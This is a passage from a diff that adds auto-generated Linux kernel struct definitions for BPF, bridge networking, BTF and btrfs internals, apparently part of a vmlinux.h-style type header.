+ bool ftrace_managed; + } func; + struct bpf_prog *extension_prog; + struct hlist_head progs_hlist[3]; + int progs_cnt[3]; + struct bpf_tramp_image *cur_image; +}; + +struct bpf_tunnel_key { + __u32 tunnel_id; + union { + __u32 remote_ipv4; + __u32 remote_ipv6[4]; + }; + __u8 tunnel_tos; + __u8 tunnel_ttl; + union { + __u16 tunnel_ext; + __be16 tunnel_flags; + }; + __u32 tunnel_label; + union { + __u32 local_ipv4; + __u32 local_ipv6[4]; + }; +}; + +struct bpf_tuple { + struct bpf_prog *prog; + struct bpf_link *link; +}; + +struct udp_iter_state { + struct seq_net_private p; + int bucket; +}; + +struct bpf_udp_iter_state { + struct udp_iter_state state; + unsigned int cur_sk; + unsigned int end_sk; + unsigned int max_sk; + int offset; + struct sock **batch; + bool st_bucket_done; +}; + +struct bpf_unix_iter_state { + struct seq_net_private p; + unsigned int cur_sk; + unsigned int end_sk; + unsigned int max_sk; + struct sock **batch; + bool st_bucket_done; +}; + +struct uprobe_consumer { + int (*handler)(struct uprobe_consumer *, struct pt_regs *); + int (*ret_handler)(struct uprobe_consumer *, unsigned long, struct pt_regs *); + bool (*filter)(struct uprobe_consumer *, struct mm_struct *); + struct list_head cons_node; +}; + +struct bpf_uprobe_multi_link; + +struct uprobe; + +struct bpf_uprobe { + struct bpf_uprobe_multi_link *link; + loff_t offset; + unsigned long ref_ctr_offset; + u64 cookie; + struct uprobe *uprobe; + struct uprobe_consumer consumer; +}; + +struct bpf_uprobe_multi_link { + struct path path; + struct bpf_link link; + u32 cnt; + u32 flags; + struct bpf_uprobe *uprobes; + struct task_struct *task; +}; + +struct bpf_uprobe_multi_run_ctx { + struct bpf_run_ctx run_ctx; + unsigned long entry_ip; + struct bpf_uprobe *uprobe; +}; + +struct btf_mod_pair { + struct btf *btf; + struct module *module; +}; + +struct bpf_verifier_log { + u64 start_pos; + u64 end_pos; + char __attribute__((btf_type_tag("user"))) *ubuf; + u32 level; + u32 len_total; + u32 len_max; + char kbuf[1024]; +}; + +struct bpf_verifier_stack_elem; + +struct bpf_verifier_state; + +struct bpf_verifier_state_list; + +struct bpf_verifier_env { + u32 insn_idx; + u32 prev_insn_idx; + struct bpf_prog *prog; + const struct bpf_verifier_ops *ops; + struct module *attach_btf_mod; + struct bpf_verifier_stack_elem *head; + int stack_size; + bool strict_alignment; + bool test_state_freq; + bool test_reg_invariants; + struct bpf_verifier_state *cur_state; + struct bpf_verifier_state_list **explored_states; + struct bpf_verifier_state_list *free_list; + struct bpf_map *used_maps[64]; + struct btf_mod_pair used_btfs[64]; + u32 used_map_cnt; + u32 used_btf_cnt; + u32 id_gen; + u32 hidden_subprog_cnt; + int exception_callback_subprog; + bool explore_alu_limits; + bool allow_ptr_leaks; + bool allow_uninit_stack; + bool bpf_capable; + bool bypass_spec_v1; + bool bypass_spec_v4; + bool seen_direct_write; + bool seen_exception; + struct bpf_insn_aux_data *insn_aux_data; + const struct bpf_line_info *prev_linfo; + struct bpf_verifier_log log; + struct bpf_subprog_info subprog_info[258]; + union { + struct bpf_idmap idmap_scratch; + struct bpf_idset idset_scratch; + }; + struct { + int *insn_state; + int *insn_stack; + int cur_stack; + } cfg; + struct backtrack_state bt; + struct bpf_jmp_history_entry *cur_hist_ent; + u32 pass_cnt; + u32 subprog_cnt; + u32 prev_insn_processed; + u32 insn_processed; + u32 prev_jmps_processed; + u32 jmps_processed; + u64 verification_time; + u32 max_states_per_insn; + u32 total_states; + u32 peak_states; + u32 longest_mark_read_walk; + bpfptr_t fd_array; + u32 scratched_regs; + u64 scratched_stack_slots; + u64 prev_log_pos; + u64 prev_insn_print_pos; + struct bpf_reg_state fake_reg[2]; + char tmp_str_buf[320]; + struct bpf_insn insn_buf[32]; + struct bpf_insn epilogue_buf[32]; +}; + +struct bpf_verifier_ops { + const struct bpf_func_proto * (*get_func_proto)(enum bpf_func_id, const struct bpf_prog *); + bool (*is_valid_access)(int, int, enum bpf_access_type, const struct bpf_prog *, struct bpf_insn_access_aux *); + int (*gen_prologue)(struct bpf_insn *, bool, const struct bpf_prog *); + int (*gen_epilogue)(struct bpf_insn *, const struct bpf_prog *, s16); + int (*gen_ld_abs)(const struct bpf_insn *, struct bpf_insn *); + u32 (*convert_ctx_access)(enum bpf_access_type, const struct bpf_insn *, struct bpf_insn *, struct bpf_prog *, u32 *); + int (*btf_struct_access)(struct bpf_verifier_log *, const struct bpf_reg_state *, int, int); +}; + +struct bpf_verifier_state { + struct bpf_func_state *frame[8]; + struct bpf_verifier_state *parent; + u32 branches; + u32 insn_idx; + u32 curframe; + struct bpf_active_lock active_lock; + bool speculative; + bool active_rcu_lock; + u32 active_preempt_lock; + bool used_as_loop_entry; + bool in_sleepable; + u32 first_insn_idx; + u32 last_insn_idx; + struct bpf_verifier_state *loop_entry; + struct bpf_jmp_history_entry *jmp_history; + u32 jmp_history_cnt; + u32 dfs_depth; + u32 callback_unroll_depth; + u32 may_goto_depth; +}; + +struct bpf_verifier_stack_elem { + struct bpf_verifier_state st; + int insn_idx; + int prev_insn_idx; + struct bpf_verifier_stack_elem *next; + u32 log_pos; +}; + +struct bpf_verifier_state_list { + struct bpf_verifier_state state; + struct bpf_verifier_state_list *next; + int miss_cnt; + int hit_cnt; +}; + +struct bpf_work { + struct bpf_async_cb cb; + struct work_struct work; + struct work_struct delete_work; +}; + +struct bpf_wq { + __u64 __opaque[2]; +}; + +struct bpf_xdp_link; + +struct bpf_xdp_entity { + struct bpf_prog *prog; + struct bpf_xdp_link *link; +}; + +struct bpf_xdp_link { + struct bpf_link link; + struct net_device *dev; + int flags; +}; + +struct bpffs_btf_enums { + const struct btf *btf; + const struct btf_type *cmd_t; + const struct btf_type *map_t; + const struct btf_type *prog_t; + const struct btf_type *attach_t; +}; + +struct trace_entry { + unsigned short type; + unsigned char flags; + unsigned char preempt_count; + int pid; +}; + +struct bprint_entry { + struct trace_entry ent; + unsigned long ip; + const char *fmt; + u32 buf[0]; +}; + +struct bputs_entry { + struct trace_entry ent; + unsigned long ip; + const char *str; +}; + +struct br_boolopt_multi { + __u32 optval; + __u32 optmask; +}; + +struct bridge_id { + unsigned char prio[2]; + unsigned char addr[6]; +}; + +typedef struct bridge_id bridge_id; + +struct br_config_bpdu { + unsigned int topology_change: 1; + unsigned int topology_change_ack: 1; + bridge_id root; + int root_path_cost; + bridge_id bridge_id; + port_id port_id; + int message_age; + int max_age; + int hello_time; + int forward_delay; +}; + +struct net_bridge_port; + +struct br_frame_type { + __be16 type; + int (*frame_handler)(struct net_bridge_port *, struct sk_buff *); + struct hlist_node list; +}; + +struct br_input_skb_cb { + struct net_device *brdev; + u16 frag_max_size; + u8 igmp; + u8 mrouters_only: 1; + u8 proxyarp_replied: 1; + u8 src_port_isolated: 1; + u8 promisc: 1; + u8 br_netfilter_broute: 1; + u32 backup_nhid; +}; + +struct br_ip { + union { + __be32 ip4; + struct in6_addr ip6; + } src; + union { + __be32 ip4; + struct in6_addr ip6; + unsigned char mac_addr[6]; + } dst; + __be16 proto; + __u16 vid; +}; + +struct br_ip_list { + struct list_head list; + struct br_ip addr; +}; + +struct br_mcast_stats { + __u64 igmp_v1queries[2]; + __u64 igmp_v2queries[2]; + __u64 igmp_v3queries[2]; + __u64 igmp_leaves[2]; + __u64 igmp_v1reports[2]; + __u64 igmp_v2reports[2]; + __u64 igmp_v3reports[2]; + __u64 igmp_parse_errors; + __u64 mld_v1queries[2]; + __u64 mld_v2queries[2]; + __u64 mld_leaves[2]; + __u64 mld_v1reports[2]; + __u64 mld_v2reports[2]; + __u64 mld_parse_errors; + __u64 mcast_bytes[2]; + __u64 mcast_packets[2]; +}; + +struct net_bridge; + +struct br_mdb_entry; + +struct br_mdb_src_entry; + +struct br_mdb_config { + struct net_bridge *br; + struct net_bridge_port *p; + struct br_mdb_entry *entry; + struct br_ip group; + bool src_entry; + u8 filter_mode; + u16 nlflags; + struct br_mdb_src_entry *src_entries; + int num_src_entries; + u8 rt_protocol; +}; + +struct br_mdb_entry { + __u32 ifindex; + __u8 state; + __u8 flags; + __u16 vid; + struct { + union { + __be32 ip4; + struct in6_addr ip6; + unsigned char mac_addr[6]; + } u; + __be16 proto; + } addr; +}; + +struct br_mdb_flush_desc { + u32 port_ifindex; + u16 vid; + u8 rt_protocol; + u8 state; + u8 state_mask; +}; + +struct br_mdb_src_entry { + struct br_ip addr; +}; + +struct br_port_msg { + __u8 family; + __u32 ifindex; +}; + +struct metadata_dst; + +struct br_tunnel_info { + __be64 tunnel_id; + struct metadata_dst __attribute__((btf_type_tag("rcu"))) *tunnel_dst; +}; + +struct branch_entry { + union { + struct { + u64 ip: 58; + u64 ip_sign_ext: 5; + u64 mispredict: 1; + } split; + u64 full; + } from; + union { + struct { + u64 ip: 58; + u64 ip_sign_ext: 3; + u64 reserved: 1; + u64 spec: 1; + u64 valid: 1; + } split; + u64 full; + } to; +}; + +struct bridge_mcast_other_query { + struct timer_list timer; + struct timer_list delay_timer; +}; + +struct bridge_mcast_own_query { + struct timer_list timer; + u32 startup_sent; +}; + +struct bridge_mcast_querier { + struct br_ip addr; + int port_ifidx; + seqcount_spinlock_t seq; +}; + +struct bridge_mcast_stats { + struct br_mcast_stats mstats; + struct u64_stats_sync syncp; +}; + +struct bridge_stp_xstats { + __u64 transition_blk; + __u64 transition_fwd; + __u64 rx_bpdu; + __u64 tx_bpdu; + __u64 rx_tcn; + __u64 tx_tcn; +}; + +struct bridge_vlan_info { + __u16 flags; + __u16 vid; +}; + +struct brnf_frag_data { + local_lock_t bh_lock; + char mac[22]; + u8 encap_size; + u8 size; + u16 vlan_tci; + __be16 vlan_proto; +}; + +struct brnf_net { + bool enabled; + struct ctl_table_header *ctl_hdr; + int call_iptables; + int call_ip6tables; + int call_arptables; + int filter_vlan_tagged; + int filter_pppoe_tagged; + int pass_vlan_indev; +}; + +struct broadcast_sk { + struct sock *sk; + struct work_struct work; +}; + +struct broken_edid { + u8 manufacturer[4]; + u32 model; + u32 fix; +}; + +struct brport_attribute { + struct attribute attr; + ssize_t (*show)(struct net_bridge_port *, char *); + int (*store)(struct net_bridge_port *, unsigned long); + int (*store_raw)(struct net_bridge_port *, char *); +}; + +struct fs_pin { + wait_queue_head_t wait; + int done; + struct hlist_node s_list; + struct hlist_node m_list; + void (*kill)(struct fs_pin *); +}; + +struct bsd_acct_struct { + struct fs_pin pin; + atomic_long_t count; + struct callback_head rcu; + struct mutex lock; + int active; + unsigned long needcheck; + struct file *file; + struct pid_namespace *ns; + struct work_struct work; + struct completion done; +}; + +struct cdev { + struct kobject kobj; + struct module *owner; + const struct file_operations *ops; + struct list_head list; + dev_t dev; + unsigned int count; +}; + +struct sg_io_v4; + +typedef int bsg_sg_io_fn(struct request_queue *, struct sg_io_v4 *, bool, unsigned int); + +struct bsg_device { + struct request_queue *queue; + struct device device; + struct cdev cdev; + int max_queue; + unsigned int timeout; + unsigned int reserved_size; + bsg_sg_io_fn *sg_io_fn; +}; + +struct bss_parameters { + int link_id; + int use_cts_prot; + int use_short_preamble; + int use_short_slot_time; + const u8 *basic_rates; + u8 basic_rates_len; + int ap_isolate; + int ht_opmode; + s8 p2p_ctwindow; + s8 p2p_opp_ps; +}; + +typedef bool busy_tag_iter_fn(struct request *, void *); + +struct bt_iter_data { + struct blk_mq_hw_ctx *hctx; + struct request_queue *q; + busy_tag_iter_fn *fn; + void *data; + bool reserved; +}; + +struct bt_tags_iter_data { + struct blk_mq_tags *tags; + busy_tag_iter_fn *fn; + void *data; + unsigned int flags; +}; + +struct btf_header { + __u16 magic; + __u8 version; + __u8 flags; + __u32 hdr_len; + __u32 type_off; + __u32 type_len; + __u32 str_off; + __u32 str_len; +}; + +struct btf_kfunc_set_tab; + +struct btf_id_dtor_kfunc_tab; + +struct btf_struct_metas; + +struct btf_struct_ops_tab; + +struct btf { + void *data; + struct btf_type **types; + u32 *resolved_ids; + u32 *resolved_sizes; + const char *strings; + void *nohdr_data; + struct btf_header hdr; + u32 nr_types; + u32 types_size; + u32 data_size; + refcount_t refcnt; + u32 id; + struct callback_head rcu; + struct btf_kfunc_set_tab *kfunc_set_tab; + struct btf_id_dtor_kfunc_tab *dtor_kfunc_tab; + struct btf_struct_metas *struct_meta_tab; + struct btf_struct_ops_tab *struct_ops_tab; + struct btf *base_btf; + u32 start_id; + u32 start_str_off; + char name[56]; + bool kernel_btf; + __u32 *base_id_map; +}; + +struct btf_anon_stack { + u32 tid; + u32 offset; +}; + +struct btf_array { + __u32 type; + __u32 index_type; + __u32 nelems; +}; + +struct btf_decl_tag { + __s32 component_idx; +}; + +struct btf_enum { + __u32 name_off; + __s32 val; +}; + +struct btf_enum64 { + __u32 name_off; + __u32 val_lo32; + __u32 val_hi32; +}; + +typedef void (*btf_dtor_kfunc_t)(void *); + +struct btf_field_kptr { + struct btf *btf; + struct module *module; + btf_dtor_kfunc_t dtor; + u32 btf_id; +}; + +struct btf_field_graph_root { + struct btf *btf; + u32 value_btf_id; + u32 node_offset; + struct btf_record *value_rec; +}; + +struct btf_field { + u32 offset; + u32 size; + enum btf_field_type type; + union { + struct btf_field_kptr kptr; + struct btf_field_graph_root graph_root; + }; +}; + +struct btf_field_desc { + int t_off_cnt; + int t_offs[2]; + int m_sz; + int m_off_cnt; + int m_offs[1]; +}; + +struct btf_field_info { + enum btf_field_type type; + u32 off; + union { + struct { + u32 type_id; + } kptr; + struct { + const char *node_name; + u32 value_btf_id; + } graph_root; + }; +}; + +struct btf_field_iter { + struct btf_field_desc desc; + void *p; + int m_idx; + int off_idx; + int vlen; +}; + +struct btf_id_dtor_kfunc { + u32 btf_id; + u32 kfunc_btf_id; +}; + +struct btf_id_dtor_kfunc_tab { + u32 cnt; + struct btf_id_dtor_kfunc dtors[0]; +}; + +struct btf_id_set { + u32 cnt; + u32 ids[0]; +}; + +struct btf_id_set8 { + u32 cnt; + u32 flags; + struct { + u32 id; + u32 flags; + } pairs[0]; +}; + +typedef int (*btf_kfunc_filter_t)(const struct bpf_prog *, u32); + +struct btf_kfunc_hook_filter { + btf_kfunc_filter_t filters[16]; + u32 nr_filters; +}; + +struct btf_kfunc_id_set { + struct module *owner; + struct btf_id_set8 *set; + btf_kfunc_filter_t filter; +}; + +struct btf_kfunc_set_tab { + struct btf_id_set8 *sets[14]; + struct btf_kfunc_hook_filter hook_filters[14]; +}; + +struct btf_verifier_env; + +struct resolve_vertex; + +struct btf_show; + +struct btf_kind_operations { + s32 (*check_meta)(struct btf_verifier_env *, const struct btf_type *, u32); + int (*resolve)(struct btf_verifier_env *, const struct resolve_vertex *); + int (*check_member)(struct btf_verifier_env *, const struct btf_type *, const struct btf_member *, const struct btf_type *); + int (*check_kflag_member)(struct btf_verifier_env *, const struct btf_type *, const struct btf_member *, const struct btf_type *); + void (*log_details)(struct btf_verifier_env *, const struct btf_type *); + void (*show)(const struct btf *, const struct btf_type *, u32, void *, u8, struct btf_show *); +}; + +struct btf_member { + __u32 name_off; + __u32 type; + __u32 offset; +}; + +struct btf_module { + struct list_head list; + struct module *module; + struct btf *btf; + struct bin_attribute *sysfs_attr; + int flags; +}; + +struct btf_name_info { + const char *name; + bool needs_size: 1; + unsigned int size: 31; + __u32 id; +}; + +struct btf_param { + __u32 name_off; + __u32 type; +}; + +struct btf_ptr { + void *ptr; + __u32 type_id; + __u32 flags; +}; + +struct btf_record { + u32 cnt; + u32 field_mask; + int spin_lock_off; + int timer_off; + int wq_off; + int refcount_off; + struct btf_field fields[0]; +}; + +struct btf_relocate { + struct btf *btf; + const struct btf *base_btf; + const struct btf *dist_base_btf; + unsigned int nr_base_types; + unsigned int nr_split_types; + unsigned int nr_dist_base_types; + int dist_str_len; + int base_str_len; + __u32 *id_map; + __u32 *str_map; +}; + +struct btf_sec_info { + u32 off; + u32 len; +}; + +struct btf_show { + u64 flags; + void *target; + void (*showfn)(struct btf_show *, const char *, struct __va_list_tag *); + const struct btf *btf; + struct { + u8 depth; + u8 depth_to_show; + u8 depth_check; + u8 array_member: 1; + u8 array_terminated: 1; + u16 array_encoding; + u32 type_id; + int status; + const struct btf_type *type; + const struct btf_member *member; + char name[80]; + } state; + struct { + u32 size; + void *head; + void *data; + u8 safe[32]; + } obj; +}; + +struct btf_show_snprintf { + struct btf_show show; + int len_left; + int len; +}; + +struct btf_struct_meta { + u32 btf_id; + struct btf_record *record; +}; + +struct btf_struct_metas { + u32 cnt; + struct btf_struct_meta types[0]; +}; + +struct btf_struct_ops_tab { + u32 cnt; + u32 capacity; + struct bpf_struct_ops_desc ops[0]; +}; + +struct btf_type { + __u32 name_off; + __u32 info; + union { + __u32 size; + __u32 type; + }; +}; + +struct btf_var { + __u32 linkage; +}; + +struct btf_var_secinfo { + __u32 type; + __u32 offset; + __u32 size; +}; + +struct resolve_vertex { + const struct btf_type *t; + u32 type_id; + u16 next_member; +}; + +struct btf_verifier_env { + struct btf *btf; + u8 *visit_states; + struct resolve_vertex stack[32]; + struct bpf_verifier_log log; + u32 log_type_id; + u32 top_stack; + enum verifier_phase phase; + enum resolve_mode resolve_mode; +}; + +struct btrfs_delayed_root; + +struct btrfs_async_delayed_work { + struct btrfs_delayed_root *delayed_root; + int nr; + struct btrfs_work work; +}; + +struct btrfs_backref_node; + +struct btrfs_fs_info; + +struct btrfs_backref_cache { + struct rb_root rb_root; + struct btrfs_backref_node *path[8]; + struct list_head pending[8]; + struct list_head leaves; + struct list_head changed; + struct list_head detached; + u64 last_trans; + int nr_nodes; + int nr_edges; + struct list_head pending_edge; + struct list_head useless_node; + struct btrfs_fs_info *fs_info; + bool is_reloc; +}; + +struct btrfs_backref_edge { + struct list_head list[2]; + struct btrfs_backref_node *node[2]; +}; + +struct btrfs_key { + __u64 objectid; + __u8 type; + __u64 offset; +} __attribute__((packed)); + +struct btrfs_path; + +struct btrfs_backref_iter { + u64 bytenr; + struct btrfs_path *path; + struct btrfs_fs_info *fs_info; + struct btrfs_key cur_key; + u32 item_ptr; + u32 cur_ptr; + u32 end_ptr; +}; + +struct btrfs_root; + +struct extent_buffer; + +struct btrfs_backref_node { + struct { + struct rb_node rb_node; + u64 bytenr; + }; + u64 new_bytenr; + u64 owner; + struct list_head list; + struct list_head upper; + struct list_head lower; + struct btrfs_root *root; + struct extent_buffer *eb; + unsigned int level: 8; + unsigned int cowonly: 1; + unsigned int lowest: 1; + unsigned int locked: 1; + unsigned int processed: 1; + unsigned int checked: 1; + unsigned int pending: 1; + unsigned int detached: 1; + unsigned int is_reloc_root: 1; +}; + +struct ulist_node; + +struct ulist { + unsigned long nnodes; + struct list_head nodes; + struct rb_root root; + struct ulist_node *prealloc; +}; + +struct btrfs_backref_shared_cache_entry { + u64 bytenr; + u64 gen; + bool is_shared; +}; + +struct btrfs_backref_share_check_ctx { + struct ulist refs; + u64 curr_leaf_bytenr; + u64 prev_leaf_bytenr; + struct btrfs_backref_shared_cache_entry path_cache_entries[8]; + bool use_path_cache; + struct { + u64 bytenr; + bool is_shared; + } prev_extents_cache[8]; + int prev_extents_cache_slot; +}; + +typedef int iterate_extent_inodes_t(u64, u64, u64, u64, void *); + +struct btrfs_trans_handle; + +struct btrfs_extent_item; + +struct btrfs_backref_walk_ctx { + u64 bytenr; + u64 extent_item_pos; + bool ignore_extent_item_pos; + bool skip_inode_ref_list; + struct btrfs_trans_handle *trans; + struct btrfs_fs_info *fs_info; + u64 time_seq; + struct ulist *refs; + struct ulist *roots; + bool (*cache_lookup)(u64, void *, const u64 **, int *); + void (*cache_store)(u64, const struct ulist *, void *); + iterate_extent_inodes_t *indirect_ref_iterator; + int (*check_extent_item)(u64, const struct btrfs_extent_item *, const struct extent_buffer *, void *); + bool (*skip_data_ref)(u64, u64, u64, void *); + void *user_ctx; +}; + +struct btrfs_balance_args { + __u64 profiles; + union { + __u64 usage; + struct { + __u32 usage_min; + __u32 usage_max; + }; + }; + __u64 devid; + __u64 pstart; + __u64 pend; + __u64 vstart; + __u64 vend; + __u64 target; + __u64 flags; + union { + __u64 limit; + struct { + __u32 limit_min; + __u32 limit_max; + }; + }; + __u32 stripes_min; + __u32 stripes_max; + __u64 unused[6]; +}; + +struct btrfs_balance_progress { + __u64 expected; + __u64 considered; + __u64 completed; +}; + +struct btrfs_balance_control { + struct btrfs_balance_args data; + struct btrfs_balance_args meta; + struct btrfs_balance_args sys; + u64 flags; + struct btrfs_balance_progress stat; +}; + +struct btrfs_disk_balance_args { + __le64 profiles; + union { + __le64 usage; + struct { + __le32 usage_min; + __le32 usage_max; + }; + }; + __le64 devid; + __le64 pstart; + __le64 pend; + __le64 vstart; + __le64 vend; + __le64 target; + __le64 flags; + union { + __le64 limit; + struct { + __le32 limit_min; + __le32 limit_max; + }; + }; + __le32 stripes_min; + __le32 stripes_max; + __le64 unused[6]; +}; + +struct btrfs_balance_item { + __le64 flags; + struct btrfs_disk_balance_args data; + struct btrfs_disk_balance_args meta; + struct btrfs_disk_balance_args sys; + __le64 unused[4]; +}; + +struct btrfs_tree_parent_check { + u64 owner_root; + u64 transid; + struct btrfs_key first_key; + bool has_first_key; + u8 level; +}; + +typedef void (*btrfs_bio_end_io_t)(struct btrfs_bio *); + +struct btrfs_ordered_extent; + +struct btrfs_ordered_sum; + +struct btrfs_bio { + struct btrfs_inode *inode; + u64 file_offset; + union { + struct { + u8 *csum; + u8 csum_inline[64]; + struct bvec_iter saved_iter; + }; + struct { + struct btrfs_ordered_extent *ordered; + struct btrfs_ordered_sum *sums; + u64 orig_physical; + }; + struct btrfs_tree_parent_check parent_check; + }; + btrfs_bio_end_io_t end_io; + void *private; + unsigned int mirror_num; + atomic_t pending_ios; + struct work_struct end_io_work; + struct btrfs_fs_info *fs_info; + struct bio bio; +}; + +struct btrfs_bio_ctrl { + struct btrfs_bio *bbio; + enum btrfs_compression_type compress_type; + u32 len_to_oe_boundary; + blk_opf_t opf; + btrfs_bio_end_io_t end_io_func; + struct writeback_control *wbc; + unsigned long submit_bitmap; +}; + +struct btrfs_io_ctl { + void *cur; + void *orig; + struct page *page; + struct page **pages; + struct btrfs_fs_info *fs_info; + struct inode *inode; + unsigned long size; + int index; + int num_pages; + int entries; + int bitmaps; +}; + +struct btrfs_caching_control; + +struct btrfs_space_info; + +struct btrfs_free_space_ctl; + +struct btrfs_chunk_map; + +struct btrfs_block_group { + struct btrfs_fs_info *fs_info; + struct btrfs_inode *inode; + spinlock_t lock; + u64 start; + u64 length; + u64 pinned; + u64 reserved; + u64 used; + u64 delalloc_bytes; + u64 bytes_super; + u64 flags; + u64 cache_generation; + u64 global_root_id; + u64 commit_used; + u32 bitmap_high_thresh; + u32 bitmap_low_thresh; + struct rw_semaphore data_rwsem; + unsigned long full_stripe_len; + unsigned long runtime_flags; + unsigned int ro; + int disk_cache_state; + int cached; + struct btrfs_caching_control *caching_ctl; + struct btrfs_space_info *space_info; + struct btrfs_free_space_ctl *free_space_ctl; + struct rb_node cache_node; + struct list_head list; + refcount_t refs; + struct list_head cluster_list; + struct list_head bg_list; + struct list_head ro_list; + atomic_t frozen; + struct list_head discard_list; + int discard_index; + u64 discard_eligible_time; + u64 discard_cursor; + enum btrfs_discard_state discard_state; + struct list_head dirty_list; + struct list_head io_list; + struct btrfs_io_ctl io_ctl; + atomic_t reservations; + atomic_t nocow_writers; + struct mutex free_space_lock; + int swap_extents; + u64 alloc_offset; + u64 zone_unusable; + u64 zone_capacity; + u64 meta_write_pointer; + struct btrfs_chunk_map *physical_map; + struct list_head active_bg_list; + struct work_struct zone_finish_work; + struct extent_buffer *last_eb; + enum btrfs_block_group_size_class size_class; + u64 reclaim_mark; +}; + +struct btrfs_block_group_item { + __le64 used; + __le64 chunk_objectid; + __le64 flags; +}; + +struct btrfs_block_rsv { + u64 size; + u64 reserved; + struct btrfs_space_info *space_info; + spinlock_t lock; + bool full; + bool failfast; + enum btrfs_rsv_type type: 8; + u64 qgroup_rsv_size; + u64 qgroup_rsv_reserved; +}; + +struct btrfs_caching_control { + struct list_head list; + struct mutex mutex; + wait_queue_head_t wait; + struct btrfs_work work; + struct btrfs_block_group *block_group; + atomic_t progress; + refcount_t count; +}; + +struct btrfs_stripe { + __le64 devid; + __le64 offset; + __u8 dev_uuid[16]; +}; + +struct btrfs_chunk { + __le64 length; + __le64 owner; + __le64 stripe_len; + __le64 type; + __le32 io_align; + __le32 io_width; + __le32 sector_size; + __le16 num_stripes; + __le16 sub_stripes; + struct btrfs_stripe stripe; +}; + +struct btrfs_chunk_map { + struct rb_node rb_node; + int verified_stripes; + refcount_t refs; + u64 start; + u64 chunk_len; + u64 stripe_size; + u64 type; + int io_align; + int io_width; + int num_stripes; + int sub_stripes; + struct btrfs_io_stripe stripes[0]; +}; + +struct btrfs_cmd_header { + __le32 len; + __le16 cmd; + __le32 crc; +} __attribute__((packed)); + +struct btrfs_commit_stats { + u64 commit_count; + u64 max_commit_dur; + u64 last_commit_dur; + u64 total_commit_dur; +}; + +struct shrinker; + +struct btrfs_compr_pool { + struct shrinker *shrinker; + spinlock_t lock; + struct list_head list; + int count; + int thresh; +}; + +struct workspace_manager; + +struct btrfs_compress_op { + struct workspace_manager *workspace_manager; + unsigned int max_level; + unsigned int default_level; +}; + +struct btrfs_csum_item { + __u8 csum; +}; + +struct btrfs_csums { + u16 size; + const char name[10]; + const char driver[12]; +}; + +struct btrfs_data_container { + __u32 bytes_left; + __u32 bytes_missing; + __u32 elem_cnt; + __u32 elem_missed; + __u64 val[0]; +}; + +struct btrfs_data_ref { + u64 objectid; + u64 offset; +}; + +struct btrfs_delalloc_work { + struct inode *inode; + struct completion completion; + struct list_head list; + struct btrfs_work work; +}; + +struct btrfs_disk_key { + __le64 objectid; + __u8 type; + __le64 offset; +} __attribute__((packed)); + +struct btrfs_delayed_extent_op { + struct btrfs_disk_key key; + bool update_key; + bool update_flags; + u64 flags_to_set; +}; + +struct btrfs_delayed_node; + +struct btrfs_delayed_item { + struct rb_node rb_node; + u64 index; + struct list_head tree_list; + struct list_head readdir_list; + struct list_head log_list; + u64 bytes_reserved; + struct btrfs_delayed_node *delayed_node; + refcount_t refs; + enum btrfs_delayed_item_type type: 8; + bool logged; + u16 data_len; + char data[0]; +}; + +struct btrfs_timespec { + __le64 sec; + __le32 nsec; +} __attribute__((packed)); + +struct btrfs_inode_item { + __le64 generation; + __le64 transid; + __le64 size; + __le64 nbytes; + __le64 block_group; + __le32 nlink; + __le32 uid; + __le32 gid; + __le32 mode; + __le64 rdev; + __le64 flags; + __le64 sequence; + __le64 reserved[4]; + struct btrfs_timespec atime; + struct btrfs_timespec ctime; + struct btrfs_timespec mtime; + struct btrfs_timespec otime; +}; + +struct btrfs_delayed_node { + u64 inode_id; + u64 bytes_reserved; + struct btrfs_root *root; + struct list_head n_list; + struct list_head p_list; + struct rb_root_cached ins_root; + struct rb_root_cached del_root; + struct mutex mutex; + struct btrfs_inode_item inode_item; + refcount_t refs; + u64 index_cnt; + unsigned long flags; + int count; + u32 curr_index_batch_size; + u32 index_item_leaves; +}; + +struct btrfs_delayed_ref_head { + u64 bytenr; + u64 num_bytes; + struct rb_node href_node; + struct mutex mutex; + refcount_t refs; + spinlock_t lock; + struct rb_root_cached ref_tree; + struct list_head ref_add_list; + struct btrfs_delayed_extent_op *extent_op; + int total_ref_mod; + int ref_mod; + u64 owning_root; + u64 reserved_bytes; + u8 level; + bool must_insert_reserved; + bool is_data; + bool is_system; + bool processing; +}; + +struct btrfs_tree_ref { + int level; +}; + +struct btrfs_delayed_ref_node { + struct rb_node ref_node; + struct list_head add_list; + u64 bytenr; + u64 num_bytes; + u64 seq; + u64 ref_root; + u64 parent; + refcount_t refs; + int ref_mod; + unsigned int action: 8; + unsigned int type: 8; + union { + struct btrfs_tree_ref tree_ref; + struct btrfs_data_ref data_ref; + }; +}; + +struct btrfs_delayed_ref_root { + struct rb_root_cached href_root; + struct xarray dirty_extents; + spinlock_t lock; + atomic_t num_entries; + unsigned long num_heads; + unsigned long num_heads_ready; + u64 pending_csums; + unsigned long flags; + u64 run_delayed_start; + u64 qgroup_to_skip; +}; + +struct btrfs_delayed_root { + spinlock_t lock; + struct list_head node_list; + struct list_head prepare_list; + atomic_t items; + atomic_t items_seq; + int nodes; + wait_queue_head_t wait; +}; + +struct btrfs_dev_extent { + __le64 chunk_tree; + __le64 chunk_objectid; + __le64 chunk_offset; + __le64 length; + __u8 chunk_tree_uuid[16]; +}; + +struct btrfs_dev_item { + __le64 devid; + __le64 total_bytes; + __le64 bytes_used; + __le32 io_align; + __le32 io_width; + __le32 sector_size; + __le64 type; + __le64 generation; + __le64 start_offset; + __le32 dev_group; + __u8 seek_speed; + __u8 bandwidth; + __u8 uuid[16]; + __u8 fsid[16]; +} __attribute__((packed)); + +struct btrfs_dev_lookup_args { + u64 devid; + u8 *uuid; + u8 *fsid; + bool missing; +}; + +struct btrfs_scrub_progress { + __u64 data_extents_scrubbed; + __u64 tree_extents_scrubbed; + __u64 data_bytes_scrubbed; + __u64 tree_bytes_scrubbed; + __u64 read_errors; + __u64 csum_errors; + __u64 verify_errors; + __u64 no_csum; + __u64 csum_discards; + __u64 super_errors; + __u64 malloc_errors; + __u64 uncorrectable_errors; + __u64 corrected_errors; + __u64 last_physical; + __u64 unverified_errors; +}; + +struct btrfs_dev_replace { + u64 replace_state; + time64_t time_started; + time64_t time_stopped; + atomic64_t num_write_errors; + atomic64_t num_uncorrectable_read_errors; + u64 cursor_left; + u64 committed_cursor_left; + u64 cursor_left_last_write_of_item; + u64 cursor_right; + u64 cont_reading_from_srcdev_mode; + int is_valid; + int item_needs_writeback; + struct btrfs_device *srcdev; + struct btrfs_device *tgtdev; + struct mutex lock_finishing_cancel_unmount; + struct rw_semaphore rwsem; + struct btrfs_scrub_progress scrub_progress; + struct 